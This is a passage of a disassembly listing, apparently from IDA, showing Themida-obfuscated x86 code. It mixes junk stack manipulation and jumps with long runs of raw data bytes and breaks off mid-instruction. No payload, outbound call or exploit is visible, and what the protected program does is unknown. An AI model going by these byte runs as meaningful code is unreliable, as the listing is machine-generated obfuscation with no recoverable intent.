4440E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E3A6: ; CODE XREF: Themida_:0051867Cj xchg ebp, [esp] mov esp, [esp] jmp loc_511E50 ; --------------------------------------------------------------------------- db 0B8h, 80h, 30h dd 0CBE91A6Bh, 2900001Ch, 0F187E9FDh, 0C789FFFFh, 3C8BFB89h dd 5DE0E924h, 68550000h, 5A4Bh, 0BE243489h, 6666170Ch dd 0A1FB43BDh, 0E9F501C2h, 0FFFF57FFh, 0E9D18859h, 1040h dd 0C381E389h, 4, 25AAE9h, 54C68100h, 81769048h, 8CC5E1C6h dd 6DBFE990h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51E40E: ; CODE XREF: Themida_:0051A640j push eax mov eax, esp jmp loc_51B900 ; --------------------------------------------------------------------------- dw 55ADh dd 0C5815D54h, 4, 4ED81h, 2C870000h, 24248B24h, 68243489h dd 7B8F0DFDh, 6EE815Eh, 2D7A27CAh, 1D72750Dh, 1B93E9h dd 0D1D7F700h, 3EF781EFh, 8942FE7Ch, 0C2815FFBh, 1B6E3367h dd 4BB2C281h, 0DA01478Eh, 4BB2EA81h, 0EA81478Eh, 1B6E3367h dd 0FFC5F8E9h, 24248BFFh, 0B8240489h, 4, 0EEE9C501h db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_51E483: ; CODE XREF: Themida_:00521BECj mov [esp], ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_51755A ; --------------------------------------------------------------------------- db 42h, 53h, 0BBh dd 4D6F0184h, 0FF594CE9h, 240C87FFh, 24048B5Ch, 4C481h dd 7C010000h, 3C8B0424h, 4C48324h, 81242C8Bh, 4C4h, 98E95000h dd 0B4FFFF6Eh, 80CCFE86h, 0E788D3F4h, 3076B458h, 241C8BFCh dd 6804C483h, 195Fh, 52241C89h, 0F7884FB6h, 0FFA699E9h dd 0F8EA81FFh, 811E7651h, 7C16A4EAh, 2434FF24h db 5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_5229A5 ; --------------------------------------------------------------------------- db 89h, 14h, 24h dd 1DF4E9h db 0 ; --------------------------------------------------------------------------- loc_51E50D: ; CODE XREF: Themida_:0051BC95j add esi, edi mov edi, [esp] jmp loc_5148D8 ; --------------------------------------------------------------------------- db 83h dd 2C8704C5h, 7E95C24h, 49FFFFCEh, 48CAE9h db 0 ; --------------------------------------------------------------------------- loc_51E529: ; CODE XREF: Themida_:005106E8j xchg ebx, [esp] pop esp mov [esp], ecx push esp mov ecx, [esp] push edi jmp loc_5106B2 ; --------------------------------------------------------------------------- loc_51E53A: ; CODE XREF: Themida_:00513EC7j mov edx, 3CFD0FE9h push 6B43h mov [esp], ebx mov ebx, 58F6364Eh neg ebx push esi jmp loc_512DEF ; --------------------------------------------------------------------------- dd 1E154105h, 3C63E912h, 0F6810000h, 464F7660h, 69E9F101h dd 89FFFFB7h, 0E189240Ch, 4BD55h, 0C1810000h, 7D4B1BE8h dd 0E981E901h, 7D4B1BE8h, 4E9835Dh, 5C240C87h, 68243C89h dd 48E9h, 31A268h, 24248900h, 0FF9E23E9h, 81D6F7FFh, 0F6C918F6h dd 5EF329DEh, 34D1E9h, 0C8B5D00h, 0E2895224h, 4C281h, 4DE90000h dd 89FFFF3Fh, 0CBD6E9E6h, 0C166FFFFh, 0C16607EFh, 876606EFh dd 1511E9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E5DA: ; CODE XREF: Themida_:00510A77j xor ecx, 5602602Eh jmp loc_517D0C ; --------------------------------------------------------------------------- db 8Bh, 2 dup(24h) dd 0BA241489h, 3C32563Dh, 6217C781h, 0D7297C0Bh, 18BBE9h dd 24148700h, 63A4E9h db 0 ; --------------------------------------------------------------------------- loc_51E605: ; CODE XREF: Themida_:005169A9j push edi mov edi, 1CF173E6h add ecx, 7E1034B9h add ecx, edi sub ecx, 7E1034B9h pop edi pop edi and ebx, ecx jmp loc_5126F4 ; --------------------------------------------------------------------------- loc_51E622: ; CODE XREF: Themida_:0052275Fj add bl, dh pop edx sub bl, cl jmp loc_51BB0B ; --------------------------------------------------------------------------- dd 52D831ADh, 4EC81h, 2C890000h, 0BB535124h, 53C67324h dd 965CCAB9h, 5BD9316Ch, 64B95156h, 81011336h, 0B86EFAE9h dd 83BE5678h, 170A16Ah, 0E1C15EF1h, 0DEC18106h, 81591B26h dd 5F47A6E9h, 0E02E928h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E672: ; CODE XREF: Themida_:0051ADC0j sub ecx, ebx pop ebx push edi mov edi, 66DA08D0h shl edi, 4 push ecx mov ecx, 200A7446h or edi, ecx pop ecx not edi jmp loc_515E4E ; --------------------------------------------------------------------------- dw 8B66h dd 0CF682404h, 0E9000051h, 0FFFFB49Fh ; --------------------------------------------------------------------------- loc_51E69C: ; CODE XREF: Themida_:00522351j pop esp loc_51E69D: ; CODE XREF: Themida_:0051D74Dj ; Themida_:00520DB5j push 4821h mov [esp], edx mov edx, esp push 1EC5h mov [esp], ebx mov ebx, 6E530F45h xchg ebp, ebx neg ebp xchg ebp, ebx xor ebx, 91ACF0BFh jmp loc_51DCDF ; --------------------------------------------------------------------------- aHP db ']h',1Bh,'p',0 dw 8900h dd 74FF240Ch, 46E90424h, 83FFFFB9h, 15E904ECh, 81FFFFE3h dd 7B199FC3h, 0C3815D45h, 8070C300h, 4245C29h, 57241C8Bh dd 0B951E789h, 35131982h, 0DEE94941h, 87FFFF72h, 36E92434h dd 0B3FFFF67h, 77E38030h, 0FEC0F380h, 1CF380CBh, 8CEE9h dd 14895C00h, 0C092E924h, 3C87FFFFh, 24248B24h, 0FCBEE953h dd 0D829FFFFh, 0D922F205h, 0C6015B43h, 0FFF5A5E9h db 0FFh ; --------------------------------------------------------------------------- loc_51E741: ; CODE XREF: Themida_:00517F1Bj pop edi jmp loc_51106A ; --------------------------------------------------------------------------- db 0BFh dd 0F344E0CBh, 48BC701h, 2ECEE924h, 0CAFEFFFFh, 0F6D58851h dd 59EA88D5h, 88D78853h, 0F65A5BFDh, 52C5FED5h, 0FFE16BE9h dd 24048BFFh, 5E08950h, 4, 0FFEB00E9h db 0FFh ; --------------------------------------------------------------------------- loc_51E781: ; CODE XREF: Themida_:0051DE99j pop ebp jmp loc_52062F ; --------------------------------------------------------------------------- db 81h dd 0D76968C6h, 9EEE8113h, 123E47Bh, 0E3E95EF7h, 1FFFF3Dh dd 7D2EE9F3h, 0FB89FFFFh, 5BDD095Fh, 2D26F581h, 0BA521750h dd 2616534Ch, 0FF2690E9h, 0E9C7FEFFh, 48DEh ; --------------------------------------------------------------------------- loc_51E7C0: ; CODE XREF: Themida_:0051B9C6j push eax mov eax, 3F4672ECh jmp loc_51BCF1 ; --------------------------------------------------------------------------- loc_51E7CB: ; CODE XREF: Themida_:005180A5j push dword ptr [esp] pop ecx push 593Eh mov [esp], ebp mov ebp, esp add ebp, 4 sub esp, 4 mov [esp], esi push edx push esi mov esi, 22A11CFDh jmp loc_51B5F7 ; --------------------------------------------------------------------------- db 66h, 0F7h, 0E1h dd 4138E957h, 77FFFFFFh, 2F88E93Ch, 1C890000h, 445ABB24h dd 0C14B1636h, 0DBF703EBh, 72EB8143h, 68FD3937h, 1EFCh dd 0BB241C89h, 446C17A3h, 0E95BD901h, 0FFFF2DD0h ; --------------------------------------------------------------------------- loc_51E82C: ; CODE XREF: Themida_:00513DA7j add ebx, edx pop edx add ebx, ecx push ebp mov ebp, 5DFF62B5h sub ebx, ebp pop ebp sub esp, 4 jmp loc_520390 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5D0424h, 248B2404h, 0EBAE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_51C7FB ; --------------------------------------------------------------------------- dw 0DE31h dd 0DE31F331h, 0FF20BCE9h, 2CE958FFh, 0BAFFFF44h, 4, 0FFC127E9h dd 86E958FFh, 0BEFFFF53h, 63A0622Ah, 622EF681h, 0F10163A0h dd 4BD555Eh, 1000000h, 0B3EE9E9h, 0B60F0000h, 0D44EE9C0h dd 0D488FFFFh, 5A2434FFh, 46F5E957h, 0CD010000h, 514C581h dd 81591B9Bh, 2C5h, 73066800h, 2C890000h, 2474FF24h, 2434FF04h dd 0E289525Dh, 4C281h, 0C2830000h, 1087E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E8E6: ; CODE XREF: Themida_:00511712j mov ebx, 1B4C51A7h push eax mov eax, ebx mov ecx, eax jmp loc_518D1C ; --------------------------------------------------------------------------- db 89h, 0E6h, 81h dd 4C6h, 4EE8300h, 8B243487h, 14892424h, 0D016B624h, 1D49E9E6h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51E912: ; CODE XREF: Themida_:0051D36Aj push 449h mov [esp], ebp mov ebp, 4E982061h sub eax, ebp mov ebp, [esp] jmp loc_50F884 ; --------------------------------------------------------------------------- db 1, 0D6h, 51h dd 0FF5F8BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51E931: ; CODE XREF: Themida_:005239A0j inc esi add esi, 288AD786h sub edx, esi jmp loc_51AB3E ; --------------------------------------------------------------------------- db 1 dd 4EC83CFh, 0FF8DEAE9h db 0FFh ; --------------------------------------------------------------------------- loc_51E949: ; CODE XREF: Themida_:0051B8FBj push ebp push ecx mov ecx, 2CE85960h mov ebp, 907ABF59h sub ebp, ecx pop ecx push eax mov eax, 60960117h or eax, 2E102948h jmp loc_511BAD ; --------------------------------------------------------------------------- dd 8324348Bh, 9FE904ECh, 55FFFF27h, 0EDE9CD89h, 0FFFFFFDFh dd 685B2434h, 84Ah, 89240C89h, 4BB53E1h, 1000000h, 0C1815BD9h dd 4, 24A1E9h db 0 ; --------------------------------------------------------------------------- loc_51E99D: ; CODE XREF: Themida_:005247CEj add ebp, esi jmp loc_524D8E ; --------------------------------------------------------------------------- dd 4BDh, 1C18100h, 8159EC2Eh, 7C5E30C1h, 0E9E90153h, 2004h dd 5C243487h, 0E9241C89h, 0FFFF7BD9h, 0E011F781h, 0FD019BC4h dd 0FF5D31E9h, 84055DFFh, 1569175h, 75842DF0h, 34FF5691h dd 0E9565E24h, 0FFFFFBD7h, 0C581E589h, 4, 0E902C583h, 0FFFF23A1h dd 0BFE9F831h, 58FFFF2Bh, 0FF65F381h, 0BD555F30h, 3CEB78DDh dd 6A9EE981h, 0E9296FE0h, 6A9EC181h, 2C8B6FE0h, 4C48324h dd 0C181D901h, 3CEB78DDh db 8Bh, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 push ecx mov ecx, 4 add ebp, 46A91D42h add ebp, ecx sub ebp, 46A91D42h pop ecx jmp loc_519571 ; --------------------------------------------------------------------------- dw 0F5Ch aHt db '¾Èhâ:',0 dw 0E900h dd 40EDh, 5104EC83h, 0FFC35CE9h db 0FFh ; --------------------------------------------------------------------------- loc_51EA69: ; CODE XREF: Themida_:00511779j push edx mov dl, 5Dh jmp loc_51E2F9 ; --------------------------------------------------------------------------- loc_51EA71: ; CODE XREF: Themida_:0051EACAj xchg eax, [esp] pop esp mov [esp], ebx mov ebx, 7D6C0BB7h mov esi, ebx pop ebx xor esi, 3C7A3060h push ebx jmp loc_51B35C ; --------------------------------------------------------------------------- loc_51EA8C: ; CODE XREF: Themida_:0051354Bj pop eax add ebp, eax jmp loc_51206B ; --------------------------------------------------------------------------- dd 2959CA01h, 72EA81EAh, 0FF565A0Ah, 685D2434h, 4963h dd 5073E9h db 0 ; --------------------------------------------------------------------------- loc_51EAAD: ; CODE XREF: Themida_:005224F2j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 sub eax, 4 jmp loc_51EA71 ; --------------------------------------------------------------------------- db 5Eh dd 4243B850h, 0EA810749h, 3C9E57F2h, 0C281C201h, 3C9E57F2h dd 8324048Bh, 0BF5704C4h, 5207679Ch, 3CB6C781h, 1FE900F7h dd 0FEFFFF1Fh, 9F9CE9C2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EB02: ; CODE XREF: Themida_:005109C1j jmp loc_50F70C ; --------------------------------------------------------------------------- db 0ADh dd 17EBF57h, 0F8293097h, 0FFB9CAE9h, 20F505FFh, 7E93A2Ah db 1Eh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EB1F: ; CODE XREF: Themida_:0051AFEBj push eax jmp loc_516924 ; --------------------------------------------------------------------------- loc_51EB25: ; CODE XREF: Themida_:0051AEF8j mov ebp, esp jmp loc_51A656 ; --------------------------------------------------------------------------- dd 1810EA81h, 3C8B57E2h, 0C83E924h, 0E957FFFFh, 0FFFF2BA7h dd 0E9E80166h, 0FFFF59A5h, 23517705h, 0A2BE563Ah, 812A9C7Bh dd 47FD94EEh, 5EF029D6h, 0FFEDDDE9h, 5DA468FFh, 1C8B4A77h dd 4C48124h, 0E9000000h, 0FFFF8624h, 241C8966h, 0E904EC83h dd 0FFFF5BCBh, 81FE015Bh, 17555CC6h, 23DAE94Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EB8E: ; CODE XREF: Themida_:0051B669j shr ebp, 6 sub ebp, 931BB672h and esi, ebp pop ebp jmp loc_51FCB6 ; --------------------------------------------------------------------------- loc_51EB9F: ; CODE XREF: Themida_:0051B52Ej add dword ptr [esp+4], 0C9667AEh add [esp+4], eax push 509Eh mov [esp], eax mov eax, 0C9667AEh sub [esp+8], eax pop eax jmp loc_511DAE ; --------------------------------------------------------------------------- loc_51EBC2: ; CODE XREF: Themida_:0051757Dj add ebp, 68C010A8h jmp loc_521679 ; --------------------------------------------------------------------------- loc_51EBCD: ; CODE XREF: Themida_:00523CDEj mov ebp, [esp] push edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] push ebx mov ebx, esp jmp loc_52141B ; --------------------------------------------------------------------------- dd 421FE950h, 3B35FFFFh, 310FBC27h, 24048BC5h, 0E904C483h dd 0FFFFE620h, 47BCBA52h, 0D5016056h, 5ED4E9h, 0EEE68100h dd 812D8C39h, 0D6F0C8EEh, 8EEE810Ch, 81650B47h, 0CC5D16E6h dd 5A4CE95Bh, 0EC81FFFFh, 4, 0BE243489h, 73727897h, 7893F681h dd 0F0297372h, 0E924348Bh, 0FFFFD51Eh, 58E9EB01h, 0FF00005Ah dd 34FF2434h, 1CAEE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EC5E: ; CODE XREF: Themida_:00515208j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], edi jmp loc_517DF0 ; --------------------------------------------------------------------------- dw 5059h dd 4B8h, 0BFE98100h, 16C2929h, 0BFC181C1h, 0E96C2929h dd 41E3h ; --------------------------------------------------------------------------- loc_51EC8C: ; CODE XREF: Themida_:005177D4j xor edi, eax jmp loc_515D12 ; --------------------------------------------------------------------------- loc_51EC93: ; CODE XREF: Themida_:00521E97j sub eax, 0DD825AFDh add ebx, eax jmp loc_51D8A4 ; --------------------------------------------------------------------------- db 5Ah dd offset dword_4B185C+78Dh dd 24348B00h, 4C481h, 0E9810000h, 2D573758h, 0C181D101h dd 2D573758h, 2C1835Ah, 8B240C87h, 0CFE2424h, 3DE99C24h dd 1FFFF0Ah, 0E9042474h, 0FFFFCA80h, 81243489h, 772B2434h dd 0C8B161Fh, 4C48324h, 772BF181h, 8151161Fh, 21982434h dd 48B1E5Ah, 4C48324h, 5A219835h, 240C8B1Eh, 1850E9h, 0E6F68100h dd 8135E94Bh, 0D539C0CEh, 2EEC161h, 133AB951h, 0CE21128Dh dd 249CE9h, 24148B00h, 4C481h, 0EB810000h, 23637FBAh, 0C381FB29h dd 23637FBAh, 83243C8Bh, 8F6604C4h, 9C2E900h, 6468FFFFh dd 0E9000022h, 0FFFF19C7h, 1C8BDF89h, 4C48124h, 51000000h dd 5615E9h, 61EE8100h, 0C13D3C12h, 814606EEh, 8E7FB6EEh dd 5D4BE9AEh, 0D029FFFFh, 0CF37652Dh, 31C2311Ah, 58C231D0h dd 2208EA81h, 0D6011040h, 2BD555Ah, 1000000h, 0AB685DEEh dd 8900003Fh, 74FF2434h, 8F5E0424h, 665C2404h, 0E99CC885h dd 0FFFF0958h, 895FFD29h, 4C685DEBh, 8900004Ah, 75BD242Ch dd 0E9279406h, 0FFFF9DEFh ; --------------------------------------------------------------------------- loc_51EDCC: ; CODE XREF: Themida_:00519F62j mov ebp, [esp] push 2474h mov [esp], eax jmp loc_5106F3 ; --------------------------------------------------------------------------- loc_51EDDC: ; CODE XREF: Themida_:0051A75Bj pop eax jmp loc_51669E ; --------------------------------------------------------------------------- dw 805Ah dd 0F4E984EBh, 50FFFF4Dh, 405E089h, 0E9000000h, 2C75h dd 0C581F501h, 46227706h, 5E2434FFh, 0FF7D03E9h, 81E189FFh dd 4C1h, 2C18100h, 87000000h, 0C05C240Ch, 0E98004E9h, 8BC830F1h dd 8956240Ch, 4C681E6h, 83000000h, 348704C6h, 0EC815C24h dd 4, 0E9240C89h, 0DA8h, 8B243C33h, 8B662424h, 0CA68240Ch dd 8900000Ch, 0E589242Ch, 348B5456h, 4C48124h, 81000000h dd 4C6h, 0A7B4E900h, 0ED81FFFFh, 3AB96323h, 199FEB81h dd 0EB81457Bh, 5F950110h, 0C381EB01h, 5F950110h, 0FFF852E9h db 0FFh ; --------------------------------------------------------------------------- loc_51EE8D: ; CODE XREF: Themida_:00510252j pop edi xor eax, edx pop edx push eax mov eax, 831B83h sub ebx, 54F04BAFh sub ebx, 1FF43C42h sub ebx, eax jmp loc_51E195 ; --------------------------------------------------------------------------- loc_51EEAA: ; CODE XREF: Themida_:0051F7C4j sub esi, 4B4136C6h add esi, ebp add esi, 4B4136C6h jmp loc_51BF1E ; --------------------------------------------------------------------------- db 57h, 0BFh, 68h dd 0E960865Bh, 0FFFFDD9Bh ; --------------------------------------------------------------------------- loc_51EEC8: ; CODE XREF: Themida_:00515300j sub ecx, esi add ecx, 5C5A01D4h jmp loc_51F0E2 ; --------------------------------------------------------------------------- db 0ADh, 68h, 12h dd 0E9000014h, 0FFFF1FC8h, 50E38853h, 0E188DC88h, 241C8B58h dd 4C481h, 80580000h, 0E180F2C1h, 5F1809Ch, 28BBC380h dd 712E9CBh, 4870000h, 5A30E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51EF0E: ; CODE XREF: Themida_:005177F9j mov edx, 360F3558h neg edx xor edx, 0C5D362Ch push edx jmp loc_521B5A ; --------------------------------------------------------------------------- db 81h, 0C7h, 37h dd 895E5384h, 5512E9F8h, 68550000h, 32BAh, 0FD4E9h, 0FFD32100h dd 835A2434h, 0EB8104C4h, 6ED20C9h, 0C1E3D143h, 0E95707E3h dd 0AD4h, 0FF07B3E9h, 0C12959FFh, 0FF6552E9h db 0FFh ; --------------------------------------------------------------------------- loc_51EF61: ; CODE XREF: Themida_:0051F102j sub edx, 6316DDh mov ebx, edx jmp loc_514239 ; --------------------------------------------------------------------------- dw 535Ah dd 0C381E389h, 4, 8704EB83h, 895C241Ch, 0BBE9243Ch db 0Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EF87: ; CODE XREF: Themida_:0051F347j and eax, ebx jmp loc_5153BB ; --------------------------------------------------------------------------- loc_51EF8E: ; CODE XREF: Themida_:0051D45Fj sub ecx, 3FB953B4h mov esi, ecx mov ecx, [esp] add esp, 4 add ebp, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] pop esp or [esp], eax pushf jmp loc_5228BA ; --------------------------------------------------------------------------- dw 0F766h dd 0E99C241Ch, 0FFFF0738h, 5FFB315Fh, 1C8BD831h, 4C48124h dd 66000000h, 0C3E930FFh, 0FEFFFF79h, 9EEFE9C3h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51EFF2: ; CODE XREF: Themida_:00511AECj add eax, 4 add eax, 4 jmp loc_524F34 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 87000000h, 4CE92434h, 2DFFFFD6h, 304B4CD1h, 0A043142Dh dd 0E9D02970h, 201Bh ; --------------------------------------------------------------------------- loc_51F020: ; CODE XREF: Themida_:00516CF5j push eax jmp loc_522ABA ; --------------------------------------------------------------------------- dw 0B951h dd 41880AC4h, 0FF8A94E9h, 0C8B66FFh, 4EC8124h, 89000000h dd 32682434h, 89000017h, 0BF572424h, 4, 4247C01h, 0ACD7E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F056: ; CODE XREF: Themida_:00521F57j sub edx, 7F7B0E71h add edx, ebp add edx, 7F7B0E71h jmp loc_521799 ; --------------------------------------------------------------------------- db 89h, 0E9h, 5Dh dd 0E9C1D9F7h, 81D1F708h, 932C67C9h, 73C1814Ah, 295A85C1h dd 59CFE9CDh, 48FFFFFh, 0B9C2E924h, 0C381FFFFh, 37D64DADh dd 0FFFE943h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F09A: ; CODE XREF: Themida_:00522F4Bj mov ecx, [esp] push 406Bh jmp loc_523DF3 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 4C48124h, 0E9000000h, 0FFFF24DAh ; --------------------------------------------------------------------------- loc_51F0B8: ; CODE XREF: Themida_:00514208j shl ecx, 2 add ecx, 9145C518h jmp loc_515EAF ; --------------------------------------------------------------------------- dw 48BEh dd 0F733867Ch, 2EEC1D6h, 0FF25D9E9h, 240489FFh, 1D6E68h dd 83DCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F0E2: ; CODE XREF: Themida_:0051EED0j pop esi push edi mov edi, 48C7411Eh add ecx, edi pop edi add edi, ecx pop ecx push ebx push edx push 43C06CAFh pop edx sub edx, 5C86250Ch not edx shr edx, 6 jmp loc_51EF61 ; --------------------------------------------------------------------------- db 68h dd 2C8Dh, 0BA241489h, 60C12BDCh, 0FF4F0BE9h, 0E9DAF7FFh dd 0FFFF1FB4h, 5C241C87h, 0FFF779E9h, 4BC381FFh, 0C1176279h dd 9CE902EBh, 53000056h, 2705D2BBh, 9DE94319h, 66FFFF82h dd 0C168665Ah, 14896641h, 613AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F152: ; CODE XREF: Themida_:00512650j xor edi, 3DDBFCE7h add ebx, edi jmp loc_512377 ; --------------------------------------------------------------------------- db 81h dd 0C509E0C1h, 0FC18140h, 1C98629h, 0D02959C8h, 0FF3284E9h db 0FFh ; --------------------------------------------------------------------------- loc_51F175: ; CODE XREF: Themida_:005115BDj pop ebx jmp loc_521D97 ; --------------------------------------------------------------------------- db 83h dd 895104C4h, 4C181E1h, 53000000h, 4BBh, 5BD92900h, 31DFE9h dd 0E4055A00h, 5271F521h, 40FE9h, 2434FF00h, 4C48358h dd 4CECE957h, 0C1810000h, 4, 2C181h, 77E90000h, 89000023h dd 0E954242Ch, 0FFFF1DD7h ; --------------------------------------------------------------------------- loc_51F1C8: ; CODE XREF: Themida_:0051A3A0j pop edx pop dword ptr [esp] not edx xchg edx, [esp] push dword ptr [esp] jmp loc_5178E4 ; --------------------------------------------------------------------------- loc_51F1D9: ; CODE XREF: Themida_:00511D95j pop esp pop edi add ebp, 4 sub esp, 4 jmp loc_524FF0 ; --------------------------------------------------------------------------- dd 6804C483h, 53DCh, 56241489h, 0FFBBAEE9h db 0FFh ; --------------------------------------------------------------------------- loc_51F1FD: ; CODE XREF: Themida_:0051D5A1j mov bh, 0E6h mov ch, bh pop ebx jmp loc_5132C8 ; --------------------------------------------------------------------------- db 53h dd 4BBh, 0D1C58100h, 157615Dh, 1BB951DDh, 0E90FA432h, 0FFFFD34Eh dd 20E0E581h, 0E5812187h, 4A0F420Eh, 27C8E581h, 0AAE95C36h dd 0C1FFFFA8h, 0C58108EDh, 384A71C2h, 815DE989h, 861DECC9h dd 25C1815Dh, 83434747h, 0E98101C1h, 0AAAFBFBh, 7FE95150h dd 31000044h, 5313E9EAh, 0C4810000h, 4, 0FFC8E8E9h, 1FC668FFh dd 1C890000h, 18A76824h, 815B2A02h, 0A63CDFF3h, 0F8B0E918h dd 0B9FFFFh, 81580A2Ch, 0D36FACF1h, 0BCA6E91Bh, 5A66FFFFh dd 0FF409EE9h, 4C181FFh, 0E9000000h, 0FFFF3D19h ; --------------------------------------------------------------------------- loc_51F2AC: ; CODE XREF: Themida_:00514F4Bj mov [esp], eax mov eax, 6827804h add ebp, eax pop eax mov ebx, [esp] jmp loc_50F9C6 ; --------------------------------------------------------------------------- loc_51F2BF: ; CODE XREF: Themida_:00521568j push eax mov eax, 4 add [esp+4], eax jmp loc_522E59 ; --------------------------------------------------------------------------- dw 489h dd 0EC835324h, 24048904h, 0FFF1EAE9h db 0FFh ; --------------------------------------------------------------------------- loc_51F2DD: ; CODE XREF: Themida_:00510439j pop ebp push edx jmp loc_51D7E1 ; --------------------------------------------------------------------------- dd 243C335Ah, 400FE9h, 1C77FF00h, 6658669Dh, 9C240419h dd 0FF4E03E9h, 0CDED81FFh, 5F6A6C33h, 8B242C87h, 0CD32424h dd 4EE99C24h, 8100004Eh, 4C3h, 4EB8300h, 0F53E9h, 1C875900h dd 0E1E95C24h db 3, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F32B: ; CODE XREF: Themida_:005182C9j add esp, 4 shl ebx, 1 not ebx sub ebx, 0FFFFFFFFh and ebx, 0A1371C5h shr ebx, 4 sub ebx, 811604h jmp loc_51EF87 ; --------------------------------------------------------------------------- dd 4C181h, 0E9810000h, 2, 0E9240C87h, 0F3Eh ; --------------------------------------------------------------------------- loc_51F360: ; CODE XREF: Themida_:0051172Aj mov [esp], ebx push dword ptr [esp+4] push dword ptr [esp] pop ebx add esp, 4 pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_50F70C ; --------------------------------------------------------------------------- loc_51F37C: ; CODE XREF: Themida_:00516E21j push 7ECBh mov [esp], edi push esi xor dword ptr [esp], 15E135C8h mov edi, [esp] push ebp mov ebp, esp add ebp, 4 jmp loc_51AF8E ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 43h dd 0B8FFFF41h, 46AA509Eh, 2182BF57h, 0F78106A4h, 15EE77DCh dd 4D5FFD89h, 0F702E5C1h, 540E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F3C2: ; CODE XREF: Themida_:00512D2Cj mov ecx, 7A3923F1h jmp loc_51CD6D ; --------------------------------------------------------------------------- dd 0D664066h, 0D16600FEh, 0A42D66E8h, 0E9556618h, 0FFFFD359h dd 74FF515Dh, 8F590424h, 248B2404h, 243C8724h, 8924248Bh dd 9C502414h, 4D37E9h, 80E18100h, 81248531h, 107843C1h dd 4E9C17Fh, 0FFD03BE9h db 0FFh ; --------------------------------------------------------------------------- loc_51F411: ; CODE XREF: Themida_:00518AADj inc dword ptr [esp] pop ebx neg ebx add ebx, 479625E6h push ecx mov ecx, 3FE8CA9Ah xor ebx, ecx pop ecx sub eax, 73394F51h jmp loc_524E95 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 1FE90000h, 0FFFFFFDAh, 0E9592434h dd 0A54h, 23BB5356h, 81094B35h, 0D1A70F3h, 5BDE8976h, 835EF701h dd 0C4E904ECh db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_51F463: ; CODE XREF: Themida_:0051504Bj sub ecx, 0C01365Ch push ebx mov ebx, 591931D4h jmp loc_516F32 ; --------------------------------------------------------------------------- dd 0BD59CE89h, 3BAE442Eh, 348BF529h, 4C48124h, 81000000h dd 9F04E3C5h, 5766E959h, 0EFC1FFFFh, 0EAF78107h, 2934A3C5h dd 0A4EE9F8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_51F4A2: ; CODE XREF: Themida_:00514DCEj mov [esp], ecx jmp loc_52333F ; --------------------------------------------------------------------------- loc_51F4AA: ; CODE XREF: Themida_:0051BFC0j add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx sub esp, 4 mov [esp], esi jmp loc_514A03 ; --------------------------------------------------------------------------- loc_51F4C5: ; CODE XREF: Themida_:00511CD0j xor ebp, edx mov edx, [esp] add esp, 4 shl ebp, 7 add ebp, 3FCF6541h push edi mov edi, 7A1553D2h dec edi shl edi, 6 jmp loc_51B12C ; --------------------------------------------------------------------------- db 68h, 69h, 38h dd 0E95B2246h, 0FFFFC18Ah, 4C5835Ch, 5C242C87h, 7689E953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F4FE: ; CODE XREF: Themida_:0051A66Cj pop dword ptr [esp] mov esp, [esp] shr ecx, 7 push 78Ch mov [esp], ebx push eax push edi mov edi, 1Ch mov eax, edi pop edi push eax mov ebx, [esp] add esp, 4 pop eax push 45D2h mov [esp], edx mov edx, 2B76482Ch push ecx mov ecx, 65E0B34h sub ebx, ecx jmp loc_51B436 ; --------------------------------------------------------------------------- dw 0D101h dd 0FFA0A4E9h, 4C181FFh, 81000000h, 4C1h, 240C8700h, 0D9BA525Ch dd 81451976h, 65E9F6C2h, 652E9C6h, 555FFFFFh, 5DBA5257h dd 0BF413524h, 7A695866h, 0E95AD731h, 0FFFFFB8Bh, 160F6857h dd 0C15F050Bh, 0E7D107EFh, 0FFCFF0E9h, 3D9568FFh, 24890000h dd 24048124h, 4, 0FFE0BBE9h, 0C1E945FFh, 5B000052h, 0E95EF329h dd 0FFFFCDEFh, 0F95E52BAh, 0C3CA8173h, 0F721C43Fh, 5833E9D2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_51F5C2: ; CODE XREF: Themida_:00523377j dec esi or esi, 4B0A01C3h xor esi, 0E8A1E6D4h sub 